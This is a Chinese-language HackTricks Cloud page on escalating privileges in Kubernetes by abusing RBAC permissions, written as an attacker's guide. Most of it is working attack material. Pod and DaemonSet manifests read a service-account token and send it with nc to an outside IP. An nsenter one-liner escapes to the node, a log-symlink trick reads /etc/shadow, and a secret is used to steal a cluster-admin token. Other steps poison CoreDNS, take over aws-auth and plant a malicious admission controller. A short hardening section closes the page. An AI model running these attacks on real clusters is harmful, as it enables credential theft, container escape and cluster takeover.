Abusing Roles/ClusterRoles in Kubernetes
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在这里,您可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。
请记住,您可以使用 kubectl api-resources 获取所有支持的资源。
特权提升
特权提升是指在集群中以不同权限(在 Kubernetes 集群内或外部云中)获取对不同主体的访问,与您当前拥有的权限不同。在 Kubernetes 中,基本上有4 种主要技术来提升特权:
- 能够冒充在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/服务账户
- 能够创建/补丁/执行 pods,在其中您可以找到或附加具有更高权限的服务账户
- 能够读取秘密,因为服务账户的令牌存储为秘密
- 能够从容器逃逸到节点,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)
- 第五种值得一提的技术是能够在 pod 中运行端口转发,因为您可能能够访问该 pod 中的有趣资源。
访问任何资源或动词(通配符)
通配符(*)对任何资源和任何动词授予权限。它由管理员使用。在 ClusterRole 内,这意味着攻击者可以滥用集群中的任何命名空间。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
使用特定动词访问任何资源
在RBAC中,某些权限带来了重大风险:
create: 授予创建任何集群资源的能力,存在特权升级的风险。list: 允许列出所有资源,可能泄露敏感数据。get: 允许访问服务账户的秘密,构成安全威胁。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。
一个将窃取 bootstrap-signer 服务账户令牌并将其发送给攻击者的 pod 示例:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod 创建与逃逸
以下指示容器可以拥有的所有权限:
- 特权访问(禁用保护和设置能力)
- 禁用命名空间 hostIPC 和 hostPid,这可以帮助提升权限
- 禁用 hostNetwork 命名空间,允许访问以窃取节点的云权限和更好地访问网络
- 在容器内挂载主机
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
创建 Pod:
kubectl --token $token create -f mount_root.yaml
来自this tweet的单行代码,并附加了一些内容:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
现在您可以逃逸到节点,检查后渗透技术:
隐蔽性
您可能希望更加隐蔽,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:
- 特权 + hostPID
- 仅特权
- hostPath
- hostPID
- hostNetwork
- hostIPC
您可以在 https://github.com/BishopFox/badPods 找到如何创建/滥用之前特权 pod 配置的示例
Pod 创建 - 移动到云
如果您可以创建一个pod(可选地创建一个服务账户),您可能能够通过将云角色分配给 pod 或服务账户来获得云环境中的权限,然后访问它。
此外,如果您可以创建一个具有主机网络命名空间的 pod,您可以窃取节点实例的 IAM 角色。
有关更多信息,请查看:
创建/补丁部署、守护进程集、有状态集、复制控制器、副本集、作业和定时作业
可以滥用这些权限来创建一个新 pod并获取权限,如前面的示例所示。
以下 yaml 创建一个守护进程集并提取 pod 内部 SA 的令牌:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec 是 Kubernetes 中的一个资源,用于 在 pod 内部的 shell 中运行命令。这允许 在容器内部运行命令或获取 shell。
因此,可以 进入 pod 并窃取 SA 的令牌,或者进入特权 pod,逃逸到节点,并窃取节点中所有 pod 的令牌并 (滥用) 节点:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
默认情况下,命令在 pod 的第一个容器中执行。使用
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'获取 容器中的所有 pod,然后使用kubectl exec -it <pod_name> -c <container_name> -- sh指定要执行的容器。
如果是无发行版容器,您可以尝试使用 shell 内置命令 获取容器的信息或上传您自己的工具,如 busybox,使用:kubectl cp </path/local/file> <podname>:</path/in/container>。
port-forward
此权限允许 将一个本地端口转发到指定 pod 中的一个端口。这旨在能够轻松调试在 pod 内部运行的应用程序,但攻击者可能会滥用它以获取对 pod 内部有趣(如数据库)或易受攻击的应用程序(网页?)的访问:
kubectl port-forward pod/mypod 5000:5000
主机可写的 /var/log/ 逃逸
正如本研究中所指出的,如果您可以访问或创建一个挂载了主机 /var/log/ 目录的 pod,您可以逃逸出容器。
这基本上是因为当Kube-API 尝试获取容器的日志(使用 kubectl logs <pod>)时,它会通过 Kubelet 服务的 /logs/ 端点请求 pod 的 0.log 文件。
Kubelet 服务暴露了 /logs/ 端点,这基本上是暴露了容器的 /var/log 文件系统。
因此,具有写入容器 /var/log/ 文件夹权限的攻击者可以通过两种方式利用这种行为:
- 修改其容器的
0.log文件(通常位于/var/logs/pods/namespace_pod_uid/container/0.log),使其成为指向/etc/shadow的符号链接。然后,您将能够通过以下方式提取主机的 shadow 文件:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- 如果攻击者控制了任何具有 读取
nodes/log权限 的主体,他可以在/host-mounted/var/log/sym中创建一个指向/的 symlink,当 访问https://<gateway>:10250/logs/sym/时,他将列出主机的根 文件系统(更改 symlink 可以提供对文件的访问)。
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
实验室和自动化利用可以在 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
绕过只读保护
如果你足够幸运,并且高度特权的能力 CAP_SYS_ADMIN 可用,你可以简单地将文件夹重新挂载为 rw:
mount -o rw,remount /hostlogs/
绕过 hostPath readOnly 保护
正如在 这项研究 中所述,可以绕过保护:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
冒充特权账户
通过 用户冒充 权限,攻击者可以冒充特权账户。
只需在 kubectl 命令中使用参数 --as=<username> 来冒充用户,或使用 --as-group=<group> 来冒充组:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
或使用 REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
列出秘密
列出秘密的权限可能允许攻击者实际读取秘密 通过访问 REST API 端点:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
创建和读取秘密
有一种特殊类型的 Kubernetes 秘密,类型为 kubernetes.io/service-account-token,用于存储 serviceaccount 令牌。如果您有权限创建和读取秘密,并且您知道 serviceaccount 的名称,您可以按如下方式创建一个秘密,然后从中窃取受害者 serviceaccount 的令牌:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
示例利用:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
读取秘密 – 暴力破解令牌 ID
虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 列出秘密 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 source code。
该令牌是从一个有限的27字符集(bcdfghjklmnpqrstvwxz2456789)生成的,而不是完整的字母数字范围。这一限制将总可能组合减少到14,348,907(27^5)。因此,攻击者可以在数小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。
EncrpytionConfiguration 以明文形式存在
可以在此类对象中找到用于加密静态数据的明文密钥,例如:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
证书签名请求
如果您在资源 certificatesigningrequests 中具有动词 create(或至少在 certificatesigningrequests/nodeClient 中)。您可以 创建 一个 新节点 的新 CeSR。
根据 文档,自动批准此请求是可能的,因此在这种情况下您 不需要额外的权限。如果不是,您需要能够批准请求,这意味着在 certificatesigningrequests/approval 中进行更新,并在 signers 中使用资源名称 <signerNameDomain>/<signerNamePath> 或 <signerNameDomain>/* 进行批准。
一个 具有所有所需权限的角色示例 是:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
所以,随着新的节点CSR获得批准,您可以滥用节点的特殊权限来窃取秘密和提升权限。
在这篇文章和这篇文章中,GKE K8s TLS引导配置被设置为自动签名,并被滥用以生成新K8s节点的凭据,然后利用这些凭据提升权限,窃取秘密。
如果您拥有提到的权限,您也可以做同样的事情。请注意,第一个示例绕过了防止新节点访问容器内秘密的错误,因为节点只能访问挂载在其上的容器的秘密。
绕过此限制的方法是为挂载有有趣秘密的容器的节点名称创建节点凭据(但请查看如何在第一篇文章中做到这一点):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 configmaps 的主体可以通过覆盖 aws-auth configmap 获得集群管理员权限。
所需的动词是 update 和 patch,或者如果 configmap 尚未创建,则是 create:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
您可以使用
aws-auth进行 持久化,以便为 其他账户 的用户提供访问权限。然而,
aws --profile other_account eks update-kubeconfig --name <cluster-name>在不同账户中无法工作。但实际上,如果您将集群的 ARN 放入,而不仅仅是名称,aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing是可以工作的。
要使kubectl工作,只需确保 配置 受害者的 kubeconfig,并在 aws exec 参数中添加--profile other_account_role,这样 kubectl 就会使用其他账户的配置文件来获取令牌并联系 AWS。
CoreDNS 配置映射
如果您有权限修改 kube-system 命名空间中的 coredns 配置映射,您可以修改地址域以便能够执行 MitM 攻击以 窃取敏感信息或注入恶意内容。
所需的动词是 update 和 patch,针对 coredns 配置映射(或所有配置映射)。
一个常规的 coredns 文件 包含如下内容:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
攻击者可以通过运行 kubectl get configmap coredns -n kube-system -o yaml 下载它,修改后添加类似 rewrite name victim.com attacker.com 的内容,这样每当访问 victim.com 时,实际上访问的是 attacker.com。然后通过运行 kubectl apply -f poison_dns.yaml 应用它。
另一种选择是通过运行 kubectl edit configmap coredns -n kube-system 编辑文件并进行更改。
在 GKE 中提升权限
有 2 种方法将 K8s 权限分配给 GCP 主体。在任何情况下,主体还需要权限 container.clusters.get 以便能够获取访问集群的凭据,或者您需要 生成自己的 kubectl 配置文件(请遵循下一个链接)。
Warning
在与 K8s API 端点交谈时,GCP 身份验证令牌将被发送。然后,GCP 通过 K8s API 端点首先 检查主体(通过电子邮件) 是否在集群内有任何访问权限,然后检查是否通过 GCP IAM 有 任何访问权限。
如果 任何 这些条件 为真,将会 响应。如果 不,将会给出一个 错误,建议通过 GCP IAM 授予 权限。
然后,第一种方法是使用 GCP IAM,K8s 权限有其 等效的 GCP IAM 权限,如果主体拥有它,就可以使用它。
第二种方法是 在集群内分配 K8s 权限,通过其 电子邮件 识别用户(包括 GCP 服务账户)。
创建 serviceaccounts 令牌
可以 创建 TokenRequests (serviceaccounts/token) 的主体在与 K8s API 端点交谈时 SAs(信息来自 这里)。
ephemeralcontainers
可以 update 或 patch pods/ephemeralcontainers 的主体可以获得 其他 pods 的代码执行权限,并可能通过添加具有特权的安全上下文的临时容器 突破 到其节点。
ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
具有 create、update 或 patch 任何动词的主体在 validatingwebhookconfigurations 或 mutatingwebhookconfigurations 上可能能够 创建这样的 webhookconfigurations 以便能够 提升权限。
有关 mutatingwebhookconfigurations 的示例,请查看此帖的此部分。
提升
正如您在下一部分中所读到的:内置特权提升预防,主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 roles 或 clusterroles 上具有 动词 escalate 或 * 及相应的绑定选项。
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。
节点代理
具有访问 nodes/proxy 子资源的主体可以通过 Kubelet API 在 pods 上执行代码(根据 此)。有关 Kubelet 身份验证的更多信息,请访问此页面:
Kubelet Authentication & Authorization
您可以在这里查看如何通过 与 Kubelet API 进行授权的 RCE。
删除 pods + 无法调度的节点
可以 删除 pods(在 pods 资源上使用 delete 动词),或 驱逐 pods(在 pods/eviction 资源上使用 create 动词),或 更改 pod 状态(访问 pods/status)并可以 使其他节点无法调度(访问 nodes/status)或 删除节点(在 nodes 资源上使用 delete 动词)并控制一个 pod 的主体,可以 从其他节点窃取 pods,使它们在 被攻陷的 节点 上 执行,攻击者可以 窃取这些 pods 的令牌。
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
服务状态 (CVE-2020-8554)
可以修改 services/status 的主体可能会将 status.loadBalancer.ingress.ip 字段设置为利用 未修复的 CVE-2020-8554 并发起 MiTM 攻击。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 此处)。
节点和 Pods 状态
具有 update 或 patch 权限的主体可以修改标签,以影响强制执行的调度约束。
内置特权升级防护
Kubernetes 具有 内置机制 来防止特权升级。
该系统确保 用户无法通过修改角色或角色绑定来提升其权限。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。
该规则规定 用户只能在拥有角色所包含的所有权限的情况下创建或更新角色。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 限于同一命名空间(或集群范围内)。
Warning
之前规则有一个例外。如果主体对
roles或clusterroles拥有 动词escalate,他可以在没有自己拥有权限的情况下提升角色和集群角色的权限。
获取 & 修改 RoleBindings/ClusterRoleBindings
Caution
显然这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。
创建 Rolebindings 的特权允许用户 将角色绑定到服务账户。这个特权可能导致特权升级,因为它 允许用户将管理员权限绑定到被攻陷的服务账户。
其他攻击
Sidecar 代理应用
默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。
创建一个 sidecar 代理应用
Sidecar 容器仅仅是向 Pod 中添加 第二个(或更多)容器。
例如,以下是一个包含 2 个容器的 Pod 配置的一部分:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
例如,要通过新容器对现有的 pod 进行后门操作,您只需在规范中添加一个新容器。请注意,您可以给予第二个容器更多权限,而第一个容器则没有。
更多信息请访问: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
恶意 Admission Controller
Admission controller 在对象持久化之前拦截对 Kubernetes API 服务器的请求,但在请求经过身份验证 和授权之后。
如果攻击者以某种方式成功注入 Mutation Admission Controller,他将能够修改已经通过身份验证的请求。这可能使他能够进行权限提升,并更常见地在集群中持久化。
来自 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
检查状态以查看是否准备好:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

然后部署一个新的 pod:
kubectl run nginx --image nginx
kubectl get po -w
当您看到 ErrImagePull 错误时,请使用以下任一查询检查镜像名称:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

正如您在上面的图像中看到的,我们尝试运行镜像 nginx,但最终执行的镜像是 rewanthtammana/malicious-image。发生了什么事!!?
技术细节
./deploy.sh 脚本建立了一个变更的 webhook 认证控制器,该控制器根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
上述代码片段将每个 pod 中的第一个容器镜像替换为 rewanthtammana/malicious-image。
OPA Gatekeeper 绕过
Kubernetes OPA Gatekeeper bypass
最佳实践
禁用服务账户令牌的自动挂载
- Pods 和服务账户:默认情况下,pods 会挂载服务账户令牌。为了增强安全性,Kubernetes 允许禁用此自动挂载功能。
- 如何应用:在服务账户或 pods 的配置中设置
automountServiceAccountToken: false,从 Kubernetes 版本 1.6 开始。
在 RoleBindings/ClusterRoleBindings 中进行限制性用户分配
- 选择性包含:确保仅将必要的用户包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除不相关的用户,以保持严格的安全性。
使用特定于命名空间的角色而非集群范围的角色
- 角色与 ClusterRoles:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于集群范围的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细粒度的控制,并限制了权限的范围。
使用自动化工具
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
参考文献
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

